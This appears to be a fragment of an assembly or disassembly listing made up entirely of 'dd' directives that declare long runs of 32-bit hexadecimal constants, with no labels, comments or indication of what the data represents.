		dd 0E9DAC8D2h, 2217FC30h, 3D6E9ABFh, 7C19110Dh,	0D853144Bh
		dd 0FF71F5C3h, 0C8B660Fh, 66544F24h, 84220908h,	0B5510032h
		dd 80D5F6A3h, 0E97164C5h, 5A1A3065h, 0EC831421h, 24E089D9h
		dd 0FE473FB4h, 0C0DCF607h, 5266C0E4h, 1363A5E9h, 30CD012Ch
		dd 50428379h, 49C302B8h, 6E2BDFE9h, 0E06F4D0Ah,	1421D046h
		dd 5E1C100h, 1FBDF181h,	0FE7B76C6h, 0A65812B4h,	592F07DCh
		dd 34FFC101h, 5193EE24h, 6E68180Ch, 39145F7Fh, 9C32E924h
		dd 86905C10h, 5E3F5456h, 4CE21850h, 137B81Ch, 4018F01Eh
		dd 0F80DD0F7h, 0DAA14B3Eh, 0C11C85BAh, 0BE184A63h, 0ECA8104h
		dd 6740770Dh, 7F8FF2C0h, 1055BEBh, 0B35E9D0h, 9EC9B340h
		dd 7C22D44Dh, 0A7D23049h, 2C12B518h, 0FDBDCF50h, 52CD8005h
		dd 1BC0C5FEh, 0D9AA06E9h, 0E459E326h, 0E6A0E6F4h, 2ECEB6B5h
		dd 49F56006h, 259EE28h,	6851C6FEh, 0AB9860CCh, 0E9145EB4h
		dd 0A7F8855Ch, 0CD3F6B3h, 54326850h, 24551C35h,	0DDC602F1h
		dd 4D371E4Bh, 0AB0A1881h, 25D7C2h, 310BE8C1h, 83D346E9h
		dd 70385B52h, 5366D007h, 0F807DBB7h, 148B5B61h,	680A7527h
		dd 423135FFh, 0B6007259h, 39885196h, 0CCBA50F1h, 0C758E79Fh
		dd 60C05A66h, 31F78007h, 0FF12C7E6h, 4504D7F6h,	871D15ACh
		dd 93F1B450h, 0D610F39Eh, 5C148F5Eh, 0BE00B189h, 3393F25h
		dd 5A7DF681h, 685BAA05h, 484055D1h, 9748CBBAh, 0C142016Ch
		dd 0BB5302E2h, 7F5FCCA9h, 5BDA0900h, 5A12BE56h,	0E9050CF6h
		dd 584087BCh, 557A8292h, 0A2657820h, 0FD803A44h, 82870B41h
		dd 84E95C6Ch, 0EFDDA064h, 7B4D70EAh, 0DCF82057h, 283E1D84h
		dd 57098D8h, 320F490Eh,	55EDE78Dh, 134DEB9h, 0B558948Bh
		dd 2D264019h, 0CD0E4A03h, 0E1E80148h, 18A4A87Bh, 289D3B0Ch
		dd 19ED5FE5h, 0E54C0858h, 0E61CBAF5h, 6A1AA106h, 19B532A9h
		dd 1702E334h, 1DBFBCAAh, 88E8EE87h, 0F37DBC20h,	4833F806h
		dd 0B9FE9D84h, 8352A050h, 0EF9599C7h, 0E8BAF1DBh, 8031E49Dh
		dd 0D3E1815Dh, 747E7652h, 2C27A933h, 0FE6F148h,	0D860C92h
		dd 0EC08D0B1h, 16CE44B5h, 71C0C656h, 5D282475h,	48B89BCh
		dd 24785F93h, 7F295040h, 0E157FD4Ch, 0B07ED3C2h, 56C66851h
		dd 0BA10B95Eh, 0E0B8005Bh, 907612Dh, 0E8584CC2h, 0E2814201h
		dd 30711889h, 0BE04EA7Dh, 2988FD94h, 0C9827C3h,	280D68CDh
		dd 0AEA32457h, 413AA241h, 0B756F6F7h, 460F152Bh, 42A10D57h
		dd 603352C2h, 66C331DFh, 30B6650Fh, 0D0371EAEh,	0EC4CDF48h
		dd 5521105Dh, 3A20EFF1h, 953C8927h, 28B6C210h, 528CF654h
		dd 7A75F4Ch, 32CA0B7Dh,	5E8961EEh, 0C9E587Fh, 0D94994E2h
		dd 6061810h, 10C8820Fh,	64ED00C1h, 0E96D12BCh, 3F993ABDh
		dd 0F951070Ah, 8D43DB12h, 0E0345ECDh, 52800F05h, 4F1A8AC4h
		dd 0DD0EAD6Ch, 0C181E162h, 9A834E89h, 6D29912Eh, 0DAB696EFh
		dd 326F5894h, 0E240818Eh, 58113261h, 0B9303798h, 55DC6725h
		dd 30667A9Eh, 31148C03h, 27F058C6h, 64104765h, 6802B741h
		dd 8567741Ch, 0CD4C2B48h, 36FFB9C0h, 0ACC0681Dh, 270F2A1h
		dd 1583B001h, 0C92FFEE9h, 5496F33Bh, 2CD46079h,	0B301BD24h
		dd 0E96CFF50h, 62438Dh
		dd 5E62D020h, 235FA3F6h, 0DED042C5h, 0EB498922h, 31F45884h
		dd 0E6FC3970h, 53E7F007h, 1349CE68h, 1C8BA148h,	517DA022h
		dd 0EBD90CC3h, 2493AE4Dh, 1244525Ch, 0F255309Fh, 0D73F015Eh
		dd 0CC24518Bh, 335402C7h, 3A40FDC9h, 3DB475B8h,	8E1B71E0h
		dd 92247F80h, 5685E366h, 0DB11E689h, 96EE2143h,	2A073634h
		dd 17C1E910h, 28075E2Eh, 2479F65Bh, 0CA1D8Ah, 68C8255Ah
		dd 0F70059A4h, 6E0C1D8h, 24EE0435h, 3412DEEFh, 5A9B827Bh
		dd 0D61A9FA2h, 0AEC12904h, 63A03F0Ah, 61820AF9h, 1B95503Dh
		dd 0C0603FFh, 0AFC29E83h, 1270EB0h, 0DE6D7230h,	660804CCh
		dd 87B1AAB5h, 20EFD694h, 2FC8AA64h, 83BF668Ch, 0B3CCB016h
		dd 8D58159Fh, 6E51E983h, 30AC0A0Eh, 0A61CF6D8h,	7DB25240h
		dd 0E635C280h, 1E6576EAh, 75FE16CAh, 0D47C0116h, 0BBF044E9h
		dd 325469CBh, 0D3AB64F5h, 21110514h, 51F649D0h,	0F83CE09h
		dd 404DD4D5h, 110CC862h, 0C78C5013h, 7B431414h,	0C5500A5h
		dd 0C3E92B5Bh, 0A28194E4h, 542320C6h, 72B86813h, 1558A56Dh
		dd 46D920E9h, 2DF02901h, 32B31B7h, 0A897B830h, 2CEA01A3h
		dd 0EBE92C8Bh, 0D87BA404h, 8658DEA1h, 440CA616h, 5320E902h
		dd 7A5F5361h, 0A3BBF140h, 2AF40914h, 3E827B5Fh,	0D10716DCh
		dd 0F901B56Ah, 4168FB08h, 21CF1DCh, 89A145AFh, 0BF4059CAh
		dd 5A010723h, 0E9D30153h, 0C5869605h, 6A3359CBh, 0D06316Ch
		dd 0B9FE505Ch, 0DAE9159Ch, 0C603C8CEh, 1441D5Ah, 16EBA6DFh
		dd 1A345EDh, 0A459029h,	0EDC47454h, 0BDBF1ECDh,	87DFA400h
		dd 0C15F09FBh, 740002EBh, 6F7B9CDh, 0CD94E93Fh,	61766F32h
		dd 13220B07h, 7880F30h,	14B996Bh, 5E08E274h, 7CA2C7C4h
		dd 44810F02h, 27329A01h, 0D45429FCh, 19204210h,	0E0F18928h
		dd 73A3526h, 0D9E81349h, 8285FD0Bh, 0C7C0835Fh,	680628CAh
		dd 8341408Ch, 0D1C59BF6h, 0DE5745C4h, 0AB61B70Eh, 0CB93F1F6h
		dd 6E64E7h, 0E33182F9h,	0F74C0138h, 0E9084000h,	0E3391726h
		dd 6560DE59h, 76015DD2h, 578C603h, 0CECB3E3Fh, 5908C040h
		dd 0F5A46898h, 2886413h, 8CCD960Ch, 589B0235h, 0E8D166AAh
		dd 95F15E63h, 2F22537h,	0AC48EBD8h, 620BBC0Dh, 2402902h
		dd 7A88A4h, 0C807D305h,	2080DF51h, 0D001C318h, 0E9696564h
		dd 0BFA825ABh, 286283A1h, 0F5DAFF90h, 0E982BF28h, 5271E6BBh
		dd 0CF1876ACh, 32D5812h, 5B035DA9h, 0D4EBF801h,	0B0065B48h
		dd 49E9DAB1h, 5A3B433Ah, 25204E17h, 0D0AC848Ah,	83BF813h
		dd 51052C00h, 11DA7C8h,	41E390C2h, 40F1015Ah, 4CDC732Bh
		dd 5268B71Bh, 1DE6F9B2h, 5F545702h, 53CF61E9h, 223399D9h
		dd 4C06BB31h, 9220D0CCh, 431B8E98h, 0E6543172h,	5AA8D57Fh
		dd 3C4C01E1h, 57E8012Fh, 290841BFh, 988488F8h, 0EDD109EAh
		dd 2893E30Eh, 3C2668ABh, 83645655h, 0D64389D4h,	4895EEE9h
		dd 0C725CB1Eh, 6327AD8Bh, 0C15144C8h, 6CCCB0Fh,	815851C7h
		dd 8234F4EDh, 366000BAh, 0EAC15164h, 0C2008108h, 0FD54019h
		dd 81293BE9h, 0A657208Fh, 0A2BE4BC0h, 48407A01h, 0ED05724Eh
		dd 0C26F042Ah, 0BB485345h, 6B821406h, 0C9A2EA80h, 0AC4C871Ah
		dd 0E296C66h, 0D18B78A6h, 41E1F789h, 541025EBh,	5750CA94h
		dd 0FEA85097h, 0D7897F5h, 670C3360h, 5C24D52h, 0FAE9EF01h
		dd 0E8C5D258h, 5CD105CBh, 0CE3B8067h, 3B8E5554h, 7E624C1h
		dd 8700124h, 31297659h,	0E9E0CE46h, 6902FB2Dh, 0D8016BC5h
		dd 0A0078E05h, 3D66214Dh, 7494142Dh, 6809A4C6h,	489B2B2Fh
		dd 0C24A58C0h, 0C35D1D26h, 0A3D5200h, 54AFE967h, 0F52F9760h
		dd 4D7D0773h, 2259B7DDh, 95B951C0h, 7050A24Bh, 1F9A9882h
		dd 6199051Dh, 8227D2E8h, 4E2D9440h, 31430350h, 0EE0E5AD6h
		dd 0F5880F03h, 0CEFA60F0h, 0BACC5DE7h, 0D7212EF2h, 0A1F10DCh
		dd 0C980C1FEh, 0EC491A3Dh, 2E976576h, 2403C9CDh, 12002D72h
		dd 0FAEA814Ah, 247AFF7Fh, 0B94D701h, 0AA2B78BAh, 2D51CC19h
		dd 18E9C400h, 246690A0h, 88171CF7h, 4224CB61h, 0AF715F17h
		dd 0E625AD0h, 57E95109h, 28B89060h, 6AC86801h, 558C729h
		dd 656C09C4h, 52D4612h,	408BE907h, 886EB2A2h, 5A0E66D5h
		dd 0A34FE580h, 8301B353h, 0D85BDBDDh, 0EEF6FCCDh, 32462668h
		dd 0C7B66506h, 670D6C2h, 0DFEED8FDh, 0ACBD6F0h,	0A1D980ADh
		dd 0B2F81AE9h, 0D26F0601h, 9E89D87Ah, 7D0E6FBh,	82A5B7BBh
		dd 73B03C1h, 5311655Bh,	395900E3h, 4B5D1362h, 32B20F4Ch
		dd 0C0431A1Ah, 3944F608h, 601209B1h, 7A270059h,	1108C71h
		dd 4A0543B8h, 5E1FE953h, 39CBEA40h, 77312D63h, 99D8300Fh
		dd 534DEB19h, 0D846253Eh, 706D4855h, 7707FFE0h,	59669D1Ch
		dd 0D721D325h, 0C106CA8Ah, 32008590h, 0F7474B55h, 9220E9DFh
		dd 0D35C19F6h, 13703524h, 7D0FCD8Bh, 9019CC1h, 7B840FC0h
		dd 0A689185h, 500F9B05h, 0F78041F9h, 0BBEB8D1h,	6EA567FAh
		dd 7A86FF00h, 7983E66h,	2C471509h, 21AC8B4Bh, 0D1015E36h
		dd 0C14D5720h, 345BBAE5h, 0CA81C862h, 3A203609h, 86700F68h
		dd 35705AE5h, 0A3F0FE49h, 0E02A73CDh, 61204A05h, 5664835h
		dd 0E13B5B38h, 0C828580Bh, 24CEBB11h, 0EC1CC091h, 3EC48005h
		dd 9CA4E588h, 6481AAF9h, 9AF498DEh, 0BD96A329h,	8B00F499h
		dd 5EFBD55h, 0C1096A17h, 0BEECC1EDh, 5FFD10FCh,	87F51F29h
		dd 8D9C09EEh, 44B0E0B1h, 0B795002Dh, 0CA870F5Fh, 0C60BE150h
		dd 0AAB94A3Ah, 0EF59C668h, 62E9C3C3h, 9EF54087h, 0A056144h
		dd 0EA6B5DEAh, 0C6F54E6Bh, 0F6065352h, 0F2E9D0ABh, 2E5969A5h
		dd 92B497CEh, 1376D6C3h, 7159541Eh, 0A4F98524h,	32C50EBh
		dd 430EB227h, 0DBC884EDh, 246E9BBDh, 14F50B98h,	2BFB2B23h
		dd 68D5C944h, 906EE725h, 0C2E3E909h, 5D505A4Dh,	5130E741h
		dd 0EB51ACA0h, 34EFBCC1h, 0C296C1A3h, 8AED01EBh, 0D10196EAh
		dd 8F85E0E8h, 0B20E0792h, 4751536Bh, 0FD25C788h, 72A71384h
		dd 490B3A11h, 0D483CFA8h, 0F60F1594h, 802D2EAAh, 0BE894054h
		dd 2129FE64h, 9E9F481h,	2C50506Ch, 7151101Ah, 4504001Dh
		dd 65CCCD81h, 0F77A1E82h, 90053ED5h, 8019896Eh,	920949D4h
		dd 0EE316502h, 0D0F0215Dh, 7BE9105Eh, 17BA482Eh, 8867DEEBh
		dd 2983D1F2h, 0EFC12381h, 0CB83EA06h, 0D201E3F1h, 68C8B70Fh
		dd 4D386B3Dh, 0E73FBCC6h, 0B888E6B4h, 0D8F70044h, 1F289C35h
		dd 0DC01C83Dh, 5A5813B2h, 0C0049214h, 7257CCC2h, 0A2989825h
		dd 0E9080146h, 7E98F4DFh, 483E185Fh, 2920C632h,	590884C2h
		dd 808C5B85h, 0F82484FFh, 615208C7h, 800485A1h,	0B04A34EDh
		dd 0CE942560h, 0B8DA4FB5h, 0ADDE4015h, 22DE564Ch, 21EE0795h
		dd 0B37E7C11h, 5D01CD33h, 0FA7393F2h, 6C348938h, 331D604Bh
		dd 4A2DFEDh, 0BF53AA3Fh, 1D9D34EBh, 2568D5B4h, 0B5986997h
		dd 0C55481E5h, 0DA5D3158h, 0E7E644F3h, 58FE9D40h, 782696CDh
		dd 263A0E10h, 0F7C8D292h, 311EAE70h, 0CA3C5DE8h, 89578402h
		dd 4A33E5E7h, 0EEC1C37Bh, 685653B0h, 0D01D69F6h, 4213E964h
		dd 0FF9CAAD3h, 0A0352D20h, 78B40430h, 91F5A6E9h, 35828F1Ch
		dd 8C7E3235h, 525E254Eh, 1F22D928h, 1B946812h, 12B3FF61h
		dd 73B24203h, 0BA0BA2ABh, 9C2FD002h, 0C6CF9859h, 0BA105225h
		dd 0A38B54F3h, 97E067C1h, 9D4901C3h, 1AA28F0Eh,	0F736832Fh
		dd 84F3F0D3h, 7279091Eh, 862922E9h, 507EB680h, 3B961BF2h
		dd 1055D06h, 0B929E79h
		dd 948208E8h, 0E0B99A7h, 9356E677h, 9008980Fh, 9A027DAFh
		dd 1B38F505h, 9228BE79h, 83062855h, 874A02ECh, 42ACBA05h
		dd 0E2CD8ECDh, 0E9C47C78h, 29C590E8h, 55D32477h, 43683D42h
		dd 4939B20h, 6AE9DD6Ah,	58EEB76Fh, 1B7B2785h, 0BA6E3ED3h
		dd 0FA0169E3h, 0D1E93291h, 0F6C35016h, 4E506CFDh, 0B9A4F38Bh
		dd 21022833h, 0A211C9EAh, 60DAA960h, 6A56B842h,	158B203h
		dd 0A29C7759h, 0B1275CA1h, 0E1510EECh, 9C60DDF7h, 0FB6D621Eh
		dd 85092538h, 0B2F0B812h, 58B270Fh, 3E64500Fh, 69BA0023h
		dd 9578177Fh, 41050831h, 2C71E907h, 85BF0078h, 2952041Bh
		dd 5E5F7DFEh, 80D80208h, 524175C3h, 7FAB6914h, 152C600Eh
		dd 0CA6CCC76h, 0B84B7C89h, 96CA7D10h, 0D25985B4h, 16D31FBFh
		dd 0F257545Dh, 31648B20h, 73F233FEh, 0C83B6609h, 0CBA19607h
		dd 52C4EC45h, 8E657BC2h, 0CE19E33Ah, 0F76D968h,	72CF322h
		dd 0C0781689h, 0D0F796DDh, 0C97B60E7h, 8B8E1E99h, 9D99B3D1h
		dd 0E90AA573h, 8BB3E80Ah, 7046D96Eh, 189EA9Eh, 0A2DEECCEh
		dd 68D6C005h, 64074C20h, 0EAE41B96h, 4826C5B3h,	0B90CCF01h
		dd 13EF4745h, 0D7C7835Dh, 426BE2BFh, 9E875645h,	0A15BEF6Dh
		dd 0E9F02987h, 55748C2h, 0FA92F0FDh, 29C54F89h,	88BA3048h
		dd 3AB00210h, 57064D30h, 0AA9A1EE9h, 1BA5205h, 0FB0BC0D8h
		dd 2C3140E3h, 41B1EE9Bh, 44013C15h, 0F2A832EAh,	29818946h
		dd 5A8B5E02h, 68968040h, 0C12B4104h, 5F8106EBh,	3C2D3407h
		dd 2C77E303h, 83E903D5h, 18FF6CE6h, 0ABB0CA8Ah,	5D602502h
		dd 0E67B2440h, 840F5F0Dh, 2A20F583h, 7F56261Dh,	49A03FE6h
		dd 24D8F614h, 34620394h, 828604D6h, 8A96C2h, 2869B753h
		dd 0D73BE9FAh, 83267ABAh, 8C092EC3h, 9BDD9A36h,	46E4BCE4h
		dd 5BC420E9h, 29ECBB05h, 9E01590Fh, 6E237FC6h, 8228F0D5h
		dd 44AA8D4Ah, 121A0A9h,	0B225EA77h, 0E3A71398h,	0E2FBD730h
		dd 506C542Ah, 26587668h, 40E9C3B4h, 0BD100757h,	0B45D4BABh
		dd 85298531h, 782807Dh,	7396BFE9h, 8415DF24h, 3CD316EDh
		dd 6FC8574Dh, 1FAD3448h, 4937C139h, 3BAF31B5h, 410A08C5h
		dd 0CB80D3B0h, 8CF3CCFDh, 1C7C639h, 2E0EBA56h, 8D3004F4h
		dd 92280744h, 3C886858h, 0DBB425F9h, 0F52909h, 0CCE4C5EDh
		dd 81704B3Dh, 42C465Eh,	785C0DD2h, 8BF2B3EFh, 68CAEEBCh
		dd 7DCDA918h, 0E4EA6D9Eh, 0E0D842h, 0CF803BB7h,	0FCFE9239h
		dd 44945E25h, 1A22953Ch, 0E55E04CBh, 0A2068CC2h, 82D02114h
		dd 28A86A3h, 0BEC25B54h, 3EECB95Eh, 7B51A868h, 582CA894h
		dd 6475B152h, 0F75AD193h, 4C6230DFh, 0E7D71361h, 62C51BA8h
		dd 0B0C6FBDBh, 5C8A0414h, 0B205F9F5h, 0C14E902Fh, 2D17D0F3h
		dd 51E58440h, 8B5E9863h, 348F2D00h, 5553F2Bh, 0F144D1BDh
		dd 2464E307h, 1988F3FFh, 555D0797h, 0E8323B54h,	962AF4CEh
		dd 989A9835h, 0A3083D20h, 0B0AF2DDh, 21822D09h,	52051292h
		dd 798533C1h, 83D7F701h, 0F00E62E8h, 20CFB069h,	3E210C0Ch
		dd 424566E9h, 106D92A0h, 62406880h, 8D48832Ah, 0A05A7A09h
		dd 7E284CF4h, 970378F8h, 0F14F56AEh, 0B528A829h, 5AC0B2C9h
		dd 0EEE45007h, 5688E095h, 0C97E4A0Ch, 12E13283h, 6C494DC9h
		dd 7D0E03D5h, 8D104E8Eh, 68162AA7h, 0F4CCBA12h,	0C1308038h
		dd 0D8805839h, 59C80263h, 0E64D5768h, 5CB2068Bh, 69CE280h
		dd 0FC0AC3Bh, 65D2F606h, 6FC383F2h, 8A304A5Ch, 0B2148999h
		dd 0EBEA5E67h, 786B4E32h, 0B627ACCEh, 0C75C83C1h, 33B7C102h
		dd 0F70AD839h, 39C740D1h, 5FDD34B1h, 4721B018h,	0B35352h
		dd 4B255B12h, 2D74FE64h, 5910270Bh, 806C42D3h, 0B416F174h
		dd 3900B41Eh, 0F8054CC8h, 8063A267h, 97DBAFAh, 20A2758h
		dd 453F2116h, 0E9786029h, 9195D291h, 1622E749h,	54F29010h
		dd 14F38C75h, 9D9628D5h, 74565310h, 99967692h, 5BCBB053h
		dd 30B72563h, 7CEBA800h, 0C31F489Ch, 189D989h, 20A489C8h
		dd 2852B6CDh, 5B9B90F4h, 0CA3D5D73h, 40CC3412h,	6D83A21Eh
		dd 5EF38918h, 3CE543E6h, 86CCBE9Fh, 0B487B92Fh,	0B8E38453h
		dd 8B4A9C7h, 0DBE3C02Ah, 7224AA75h, 0E90B13C1h,	6898217Ch
		dd 312A77E4h, 4C0CB78h,	899F9EE2h, 7C9A133Fh, 2D6A0663h
		dd 98A59711h, 13CA0182h, 5362A5E9h, 1C2A1E84h, 21BEA51h
		dd 68C8BF0Fh, 6F590CD0h, 645D8799h, 0B8025C30h,	46B620A1h
		dd 2CA7DE89h, 0F0645F03h, 31362CB8h, 69D60D06h,	0EB449C65h
		dd 0F700181Fh, 49F681D6h, 0C96CFA1Fh, 9B5EA8FCh, 0CA43050Fh
		dd 2BC2FC56h, 6018B578h, 0A89B3D0h, 0C0E9DD95h,	995497F0h
		dd 49BAF72Ch, 1497BB6Ch, 0E983405Fh, 0C8C3EA4Ah, 33283231h
		dd 86525C06h, 51840354h, 1808BC99h, 0D1300B12h,	0B4C8DE04h
		dd 4F1257F7h, 8007263h,	95CDB752h, 5BDF0001h, 20A6BB53h
		dd 0E92F1E89h, 2D409D4h, 0DB854AB1h, 2492487h, 5202040Ch
		dd 854FB941h, 7E0B1E3Eh, 0F80C8916h, 487FE72Ch,	9787A062h
		dd 0C14DF547h, 806F56E9h, 8222C319h, 2901FDDEh,	24D45BD8h
		dd 0BABF1BABh, 1547CF87h, 0B464FF66h, 9A649964h, 642B8114h
		dd 590720C9h, 5008B800h, 67057C37h, 2E523F0Ch, 0B899BAAh
		dd 5504800Fh, 5054C232h, 5986E2A5h, 5ED16E43h, 92A5070Bh
		dd 0D217EBF9h, 0AA5B7899h, 4CFDE412h, 0DCB49ED3h, 0F754F50Bh
		dd 570FF3D6h, 6947047Eh, 0BBE460ECh, 45421E14h,	0D001926Bh
		dd 0D8B8C2A4h, 34E7C82Eh, 0C84AFF2Ch, 0DC806493h, 16FE6855h
		dd 4176A44Dh, 895F9DC4h, 0F6D3702Dh, 0FEE901F7h, 1140E2Ah
		dd 122E0CB7h, 0B809C565h, 0B382FEDh, 880C8038h,	0E85866C2h
		dd 67B0F6D7h, 0B0CBD356h, 23C38059h, 4B7FEBE6h,	0D502AE5Bh
		dd 664ACA68h, 0AE816027h, 272C4826h, 0B8505E14h, 0A8914E07h
		dd 0C9332A8Ah, 0BCF88814h, 9D715518h, 651DDBC1h, 0C780FB9Bh
		dd 7D412077h, 78A326E9h, 0A90DC446h, 0FCCB024Eh, 807C2604h
		dd 902807B4h, 0BEE91279h, 8359D147h, 0D30F2920h, 6831F5C3h
		dd 62DC0C06h, 0A1A2307Ah, 62DA63D5h, 0FA191E04h, 5C18779h
		dd 86290C7Dh, 8ADA863Ch, 77B202B7h, 0A77A16E9h,	0A4528AF7h
		dd 0E6AEEC17h, 27EEEADDh, 0E868BFE9h, 5140BC9h,	2FE731A1h
		dd 517F8B4Fh, 12254AB1h, 2AA78972h, 0EA890730h,	0DA01165Dh
		dd 3BD60403h, 86B2026Fh, 0C1F18208h, 0B1475169h, 287B6839h
		dd 84395B16h, 0B9570608h, 20D4AA22h, 5F094C3Eh,	4C08E6C1h
		dd 0CF9E20DCh, 0EA885212h, 595A3409h, 68E44FDFh, 717AF975h
		dd 0AA60FE41h, 6631409Dh, 74B82D3Eh, 0D3C30124h, 7A8C2742h
		dd 2C2F7861h, 6F3BE073h, 8830A004h, 1A416507h, 0C82B5D36h
		dd 8435A646h, 8C0F1BE9h, 5426523Eh, 55C2315Ah, 0CEB04350h
		dd 0EF8004ADh, 0F9F8301Fh, 182210C7h, 0A005AD48h, 125A091Ch
		dd 0EA770BCFh, 0BE056A52h, 286754F3h, 75DEEE15h, 9A2C152Dh
		dd 3C35B9B4h, 0CB4E7663h, 43C21E8h, 8C4BCD68h, 0CEA6B8BEh
		dd 8585AD32h, 6BEDE154h, 0C4FB800h, 0BB405B01h,	0BFA4F3B2h
		dd 0C56C8A20h, 0B24B9A37h, 0E42C8B57h, 0EAB42FB8h, 0BAE67C20h
		dd 78982D33h, 1456063h,	48D3BAF9h, 5A8D0F46h, 0F77D91BCh
		dd 9097E3AAh, 6AE9FB89h, 8817C594h, 2546B504h, 76060D00h
		dd 2D7051A6h, 4DAA201Fh, 4C53D2D3h, 0BC58BC91h,	22C8C204h
		dd 6A52AD41h, 8EE0A0Ah,	68CFE90Bh, 13E2C2A5h, 81557B69h
		dd 359A2D1h, 2E32B35Eh
		dd 22B6684Dh, 56BD007Ah, 0C1354F0Bh, 0EDE606E5h, 5750020Eh
		dd 246F8F68h, 8AC05F7Ah, 114EF4h, 5D080566h, 56E916E5h
		dd 0F5F94760h, 9345B4Bh, 10870F32h, 544BE4FAh, 2A5C7409h
		dd 3C249F2Bh, 3AFDCD01h, 0EDD847A0h, 16170CD3h,	0BC0E4D29h
		dd 66655518h, 3F94310Ch, 0E4C24FDh, 0C920FD58h,	0E2EEFB90h
		dd 0AD0EF260h, 99673C68h, 1D4CA864h, 0A5D263E8h, 0D029FFC0h
		dd 96F95B4h, 8F9180D8h,	3F5FBC0Dh, 0EF5C7468h, 5659B9C0h
		dd 0FEC0C516h, 77217B19h, 2E800C1h, 7FD70540h, 0E92D30A7h
		dd 0D167813Dh, 0D3704EE6h, 976F0964h, 25001A2h,	2295D1AEh
		dd 44DBF286h, 0D0E139BEh, 8EADC19Dh, 0CA0B32EAh, 0B777C84h
		dd 19B704ACh, 588549B9h, 0B9DDE418h, 12E819Ah, 0C703ADF3h
		dd 0E96EC143h, 6685C26Dh, 82FA2958h, 4D61D3B9h,	47162E9Eh
		dd 316A3029h, 70DD010Bh, 34B12C87h, 1330A88h, 0B863F068h
		dd 0BDF6E903h, 2943157Fh, 18BA2h, 0B405DFDBh, 388F2633h
		dd 72D145Bh, 66BC5932h,	87DEF701h, 0D9D3A3CBh, 85856937h
		dd 252C8BEEh, 275CA6DCh, 0C119E8FFh, 0E2BB97BAh, 78ECED9h
		dd 5C71C7BEh, 8EC40FF4h, 589667ADh, 16C66404h, 32991C48h
		dd 804ECB61h, 0CC6F9E89h, 0EBC1146Ah, 0C61FB103h, 314140B9h
		dd 0F0295BDEh, 0CC055E0Fh, 962BA902h, 14E91278h, 2D86433Dh
		dd 9BDF60F5h, 137ECA04h, 0C924C27h, 1205D14Dh, 28740B5Fh
		dd 1FBF5F20h, 534CBE3Ah, 22D0336h, 8F47487Dh, 72EEE780h
		dd 4F5D5CD2h, 131B3910h, 3D13E588h, 0E038E1A1h,	0B0D7ACA5h
		dd 9685156h, 2A963B70h,	44003B70h, 0F5D8845h, 0DF553584h
		dd 5CD4033Dh, 8FE026CEh, 3DB93EA8h, 8452FE02h, 0B0F6433Fh
		dd 90064567h, 213A0934h, 388774E6h, 1E8EB902h, 2B23E7A2h
		dd 8909B0DEh, 0D90C04CEh, 5E2F40ACh, 0B9CC3DB0h, 98CD0180h
		dd 6D7F0412h, 9959139Ah, 48B53155h, 33CEB38Fh, 2896DCADh
		dd 955108CBh, 0AD2F116Ch, 4CD16030h, 10C21E58h,	292526C4h
		dd 183C732Ah, 55B4147Ch, 18BA95EEh, 0FDBF704h, 0F2937088h
		dd 6F8EB943h, 381C934h,	801D07E3h, 0F6985F3Dh, 0B03850ACh
		dd 58C60EF7h, 435AAB88h, 253C2F8h, 65C0EB80h, 0B1911516h
		dd 62FB6881h, 5CF47618h, 0E62FB73Ah, 30BD7E40h,	4128D1F7h
		dd 0C60BD549h, 0E29542C2h, 0A4544100h, 37CA1E0h, 37685657h
		dd 0F08D7E5Fh, 620E2E5Fh, 0FC0F077Bh, 0ECC2F0B4h, 0EE74B8h
		dd 0FEDCB551h, 0D50BF6CDh, 0F007E5C0h, 0D4D45B2Ah, 8ED3A07Eh
		dd 343B090Fh, 706BC94Fh, 7922A1D1h, 6825DE35h, 0E9035942h
		dd 3C6E5446h, 32ED83A6h, 445C2701h, 2F68133Eh, 543C6332h
		dd 2056E589h, 0DD650FCh, 41A466E4h, 321F207Eh, 78B810CCh
		dd 69399D50h, 8001DE0Fh, 0D37020C6h, 0F3283E0Bh, 0E237FA93h
		dd 0C79A3D6h, 23AF68D3h, 29402755h, 73F77231h, 8D768FEh
		dd 0F1870708h, 0E24604E9h, 5F365479h, 453075BAh, 59E8A328h
		dd 91D9052h, 3010B6C2h,	0CEFE1F00h, 3239EE80h, 0E90884C0h
		dd 9992C425h, 52898BD9h, 0D15B4BE9h, 242CD3D0h,	87AA1D96h
		dd 0A19F0644h, 443368A2h, 0B182C596h, 2CB33038h, 1335FC3Ah
		dd 9C09F729h, 0B44AD020h, 40699396h, 5382BE3Dh,	60B87BBDh
		dd 8D3B7C02h, 0C5F13149h, 0B6D5A091h, 0EF74665h, 695975F1h
		dd 22E9C5E3h, 326033A9h, 13105ED7h, 0F3515B78h,	29488807h
		dd 0A75C12D2h, 4A0E0A50h, 0B10BB7Dh, 54DE0507h,	0D8F720B1h
		dd 625E890Fh, 9B2D9F80h, 0DC3A12DFh, 40591656h,	51E0803Ah
		dd 691FE581h, 123F8510h, 2390DE4Eh, 32304CF3h, 0B84C7B73h
		dd 489CB170h, 6E4917EFh, 27CC6551h, 0DD5B5B9Ch,	0B4F37984h
		dd 252B327Bh, 2279130Bh, 8824EDE4h, 2E5E10ABh, 5F37845h
		dd 752236CDh, 80C8F026h, 3D496853h, 5B4C7383h, 0CB810175h
		dd 50B15D85h, 4F021830h, 0DCAD461Ah, 4298E601h,	41B57D4h
		dd 32A9448Fh, 6CFE43C0h, 71F707h, 141004A8h, 8536502Fh
		dd 49ABF603h, 4E0522C4h, 751D3023h, 80174C9h, 758151E9h
		dd 956C4BBDh, 4FC8203Ch, 8C740DD8h, 43FD3E75h, 2ADCCE02h
		dd 0D7E86E83h, 2161FE29h, 0BF6F8218h, 1CE6E0FBh, 40AE2D7Bh
		dd 2A0F2E43h, 322CCF02h, 0B2B7621h, 0E0E14E2Ch,	750B8B15h
		dd 34B78B6h, 4AA65982h,	0A2E2F889h, 0EF0162DAh,	56304DAh
		dd 0BCF7DF29h, 935E9A0h, 11374424h, 13CA9E9h, 8003DBC5h
		dd 4605DFAFh, 1395F25Bh, 550525B3h, 4DC408C7h, 0B7C76CA8h
		dd 4B3EFB9h, 0C308EFD9h, 27E07A1Dh, 0FE7B0E2Ch,	0B73FE918h
		dd 580CC199h, 7550A368h, 0CB17C1E7h, 0FA105B87h, 626E99C1h
		dd 32414FF8h, 15DEE89h,	408E6330h, 0BEC5716h, 214084ABh
		dd 201026B6h, 110B527Ch, 0A1029F53h, 13442240h,	0A705A80Bh
		dd 0C0020037h, 0B845D41Dh, 4E012034h, 7AC7E92Ch, 1FF8689Bh
		dd 12465B0Ah, 5F8D45E5h, 93788758h, 597F2A85h, 44B659h
